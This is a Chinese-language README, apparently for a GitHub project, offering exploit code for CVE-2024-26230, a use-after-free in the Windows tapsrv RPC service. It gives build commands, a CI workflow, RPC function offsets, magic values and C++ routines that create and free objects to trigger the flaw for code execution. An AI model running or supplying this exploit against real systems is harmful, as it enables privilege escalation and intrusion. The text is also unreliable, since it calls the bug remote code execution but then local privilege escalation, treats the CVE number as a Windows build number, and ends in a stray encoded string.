CVE-2024-26230 Windows RPC 远程代码执行漏洞利用分析

1 阅读4分钟

CVE-2024-26230 Windows RPC 远程代码执行漏洞利用

本项目提供了针对 Windows 系统中 tapsrv 服务的 CVE-2024-26230 漏洞的完整利用代码。该漏洞是 Windows RPC 服务中的 Use-After-Free (UAF) 漏洞,通过精心构造的 RPC 请求,可以实现本地权限提升。

功能特性

  • 完整的漏洞利用链:通过 RPC 接口操作,触发 UAF 漏洞实现任意代码执行
  • 精确的偏移量控制:针对 Windows 特定版本(Build 26230)的内存布局进行精确控制
  • RPC 通信封装:完整实现了与 tapsrv 服务的 RPC 客户端通信逻辑
  • 自动化构建:通过 GitHub Actions 实现自动化的编译和构建流程

安装指南

系统要求

  • Windows 操作系统(目标版本 Build 26230)
  • Visual Studio 开发环境或 MSVC 编译器
  • Windows SDK(包含 RPC 开发库)

依赖项

  • rpcrt4.lib - RPC 运行时库
  • wtsapi32.lib - Windows 终端服务 API
  • userenv.lib - 用户环境配置库

编译步骤

  1. 克隆项目仓库
git clone https://github.com/yourusername/CVE-2024-26230.git
cd CVE-2024-26230
  1. 使用 Visual Studio 编译
# 打开开发者命令提示符
cl /O2 /Zi /EHa /DUNICODE /D_UNICODE /std:c++17 ^
   exp\exp.cpp exp\tapsrv_c.c exp\tapsrv_s.c ^
   /Fe:CVE-2024-26230.exe ^
   /link rpcrt4.lib wtsapi32.lib userenv.lib
  1. 使用 GitHub Actions 自动编译 项目配置了自动化构建流程,推送代码后会自动编译并生成可执行文件。

使用说明

基础用法

编译成功后,在目标系统上执行生成的可执行文件:

CVE-2024-26230.exe

漏洞利用流程

  1. 建立 RPC 连接:通过 ClientAttach 函数与 tapsrv 服务建立连接
  2. 创建 GOLD 对象:调用 GetUIDllName 接口创建目标对象
  3. 释放对象:通过 FreeDialogInstance 接口释放已创建的对象
  4. 触发 UAF:使用 TRequestMakeCall 接口触发 Use-After-Free 漏洞
  5. 对象重用:通过 TUISPIDLLCallback 接口利用已释放的对象

核心实现代码

// 创建 GOLD 对象
int create_gold(PCONTEXT_HANDLE_TYPE &context) {
    init();
    write_func_offset((void*)buffer, req_func["GetUIDllName"] / 0x8);
    write_parament((void*)buffer, 1, 1);
    write_parament((void*)buffer, 2, 3);
    write_parament((void*)buffer, 5, -1);
    ClientRequest(context, buffer, N, &use);
    return read_parament((void*)buffer, 7);
}

// 释放 GOLD 对象
void free_gold(PCONTEXT_HANDLE_TYPE& context, int gold_id) {
    init();
    write_func_offset((void*)buffer, req_func["FreeDialogInstance"] / 0x8);
    write_parament((void*)buffer, 1, gold_id);
    ClientRequest(context, buffer, N, &use);
}

关键参数说明

  • req_func 映射表:定义了各个 RPC 函数的偏移量
  • magic = 0x40000018:内存布局的关键偏移值
  • 缓冲区大小控制:通过 N = 1024M = 0x40000000 控制内存分配

核心代码

RPC 通信辅助函数

// 内存分配和释放函数
void __RPC_FAR* __RPC_USER MIDL_user_allocate(size_t len) {
    return malloc(len);
}

void __RPC_USER MIDL_user_free(void __RPC_FAR* ptr) {
    free(ptr);
}

// 缓冲区操作函数
void write_func_offset(void* buffer, uint32_t offset) {
    *(int*)buffer = offset;
}

void write_parament(void* buffer, uint32_t n, int value) {
    *((int*)buffer + 1 + n) = value;
}

void* get_vdata_ptr(void* buffer) {
    return (void*)((char*)buffer + 60);
}

int read_parament(void* buffer, uint32_t n) {
    return *((int*)buffer + 1 + n);
}

RPC 接口定义

// tapsrv 接口定义(来自 tapsrv_h.h)
typedef /* [context_handle] */ void *PCONTEXT_HANDLE_TYPE;

long ClientAttach( 
    /* [context_handle][out] */ PCONTEXT_HANDLE_TYPE *pphContext,
    /* [in] */ long lProcessID,
    /* [out] */ long *phAsyncEventsEvent,
    /* [string][in] */ const wchar_t *pszDomainUser,
    /* [string][in] */ wchar_t *pszMachine);

void ClientRequest( 
    /* [in] */ PCONTEXT_HANDLE_TYPE phContext,
    /* [size_is][length_is][out][in] */ unsigned char *pBuffer,
    /* [in] */ long lNeededSize,
    /* [out][in] */ long *plUsedSize);

void ClientDetach( 
    /* [out][in] */ PCONTEXT_HANDLE_TYPE *pphContext);

漏洞利用流程控制

// RPC 函数偏移量映射
std::map<std::string, uint32_t> req_func = {
    { "GetAsyncEvents", 0x0},
    { "GetUIDllName", 0x8 },
    { "TUISPIDLLCallback", 0x10 },
    { "FreeDialogInstance", 0x18 },
    { "TRequestMakeCall", 0x3c8 },
};

// 缓冲区初始化
void init() {
    memset(buffer, 0x00, N);
    use = 60;
}

GitHub Actions 构建配置

name: build-26230

on:
  workflow_dispatch: {}
  push:
    paths:
      - 'exp/**'
      - '.github/workflows/build-26230.yml'

jobs:
  win-build:
    runs-on: windows-latest
    steps:
      - uses: actions/checkout@v4
      - uses: ilammy/msvc-dev-cmd@v1
        with:
          arch: x64
      - name: Compile (x64 Release)
        shell: pwsh
        run: |
          New-Item -ItemType Directory -Force -Path bin | Out-Null
          cl /O2 /Zi /EHa /DUNICODE /D_UNICODE /std:c++17 `
             exp\exp.cpp exp\tapsrv_c.c exp\tapsrv_s.c `
             /Fe:bin\CVE-2024-26230.exe `
             /link rpcrt4.lib wtsapi32.lib userenv.lib

技术细节

该利用代码基于对 Windows RPC 服务 tapsrv 的深入分析,通过以下步骤实现漏洞触发:

  1. 内存布局控制:利用 ClientRequest 函数的缓冲区操作,精确控制内存分配和释放时机
  2. 对象生命周期管理:通过 GetUIDllNameFreeDialogInstance 创建和释放对象,制造 UAF 条件
  3. 函数指针覆盖:利用 TRequestMakeCallTUISPIDLLCallback 实现代码执行流劫持

项目中的偏移量和内存地址基于 Windows Build 26230 版本,其他版本可能需要相应调整。 6HFtX5dABrKlqXeO5PUv//ZS3pv19S/B+mOAMNyjPnM=